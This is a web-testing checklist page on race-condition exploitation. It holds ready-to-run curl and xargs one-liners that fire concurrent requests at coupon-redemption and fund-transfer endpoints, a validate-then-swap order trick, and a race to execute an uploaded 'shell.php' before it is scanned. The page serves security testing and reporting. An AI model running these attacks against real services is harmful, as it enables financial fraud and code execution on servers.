Race Condition Exploitation
Test for time-of-check to time-of-use (TOCTOU) vulnerabilities, limit bypass via concurrent requests, and race conditions in financial and state-changing operations.
Tools
Machine-readable JSON available at:
https://reconatlas.pages.dev/api/checklists/race-condition-testingTags
// checklist steps
race-01
Identify race-prone endpoints
Map endpoints that handle financial transactions, coupon/voucher redemption, voting/liking, inventory management, and one-time-use token operations.
cat all-urls.txt | grep -iE '(redeem|transfer|purchase|buy|vote|like|coupon|checkout|withdraw|apply|claim)'Any operation that reads, checks, and then writes without atomic locking is a potential race condition target. Prioritise endpoints with business logic impact.
race-02
Send concurrent requests using Turbo Intruder
Use Burp Suite's Turbo Intruder with the single-packet attack technique to send multiple requests simultaneously, eliminating network jitter.
# In Turbo Intruder, use the race-single-packet-attack.py template
# Alternative: use curl with parallel execution
seq 1 20 | xargs -P 20 -I{} curl -sk -X POST https://target.com/api/redeem -H 'Cookie: session=<session>' -d 'code=DISCOUNT50'The single-packet attack sends all requests in a single TCP packet, ensuring they arrive at the server within microseconds of each other. This is far more reliable than threaded approaches.
race-03
Test limit bypass via concurrent requests
Attempt to bypass rate limits, transfer limits, and inventory constraints by sending concurrent requests that exceed the allowed threshold.
seq 1 50 | xargs -P 50 -I{} curl -sk -X POST https://target.com/api/transfer -H 'Cookie: session=<session>' -H 'Content-Type: application/json' -d '{"to":"attacker","amount":100}'Check the final state after all requests complete — if 50 concurrent transfer requests of $100 succeed when the balance is only $200, you have confirmed a race condition.
race-04
Test TOCTOU in multi-step processes
Exploit the gap between validation and execution in multi-step workflows (e.g., check balance then deduct, verify permission then perform action).
# Step 1: Initiate a legitimate action to pass validation
curl -sk -X POST https://target.com/api/order/validate -H 'Cookie: session=<session>' -d '{"item":"cheap_item","qty":1}'
# Step 2: Quickly modify the order before execution completes
curl -sk -X POST https://target.com/api/order/confirm -H 'Cookie: session=<session>' -d '{"item":"expensive_item","qty":1}'The key is finding the time window between the check and the use. Automated tools help, but manual analysis of the workflow logic is essential for identifying TOCTOU windows.
race-05
Test file upload race conditions
Upload a file and attempt to access it before server-side validation (antivirus scan, file type check) completes.
# Upload a file and immediately request it
curl -sk -X POST https://target.com/upload -F 'file=@shell.php' & curl -sk https://target.com/uploads/shell.phpSome servers move uploaded files to a temporary location, scan them, and then move them to the final path. If you can access the temporary path before scanning completes, you may achieve code execution.
race-06
Document timing and success rate
Record the number of successful duplicate operations, the timing window, and the business impact for the vulnerability report.
for i in $(seq 1 10); do seq 1 20 | xargs -P 20 -I{} curl -sk -o /dev/null -w '%{http_code}\n' -X POST https://target.com/api/redeem -H 'Cookie: session=<session>' -d 'code=TESTCODE'; echo '--- Run $i complete ---'; doneReproduce the race condition at least 3 times to establish reliability. Include success rate (e.g., "achieved double-spend in 7 out of 10 attempts") in your report.
Overview
Race conditions exploit the time gap between when an application checks a condition and when it acts on the result. In web applications, this typically manifests as concurrent requests that bypass business logic constraints — redeeming a coupon twice, transferring money that does not exist, or voting multiple times.
The single-packet attack
Traditional race condition testing using threads is unreliable due to network jitter. The single-packet attack technique (documented by PortSwigger) sends all HTTP/2 or HTTP/1.1 requests in a single TCP packet, ensuring they arrive at the server within microseconds of each other.
High-value targets
- Coupon/discount code redemption (double-spend)
- Fund transfers and withdrawals (balance bypass)
- Inventory-limited purchases (overselling)
- One-time-use tokens (password reset, email verification)
- Rate-limited operations (brute-force bypass)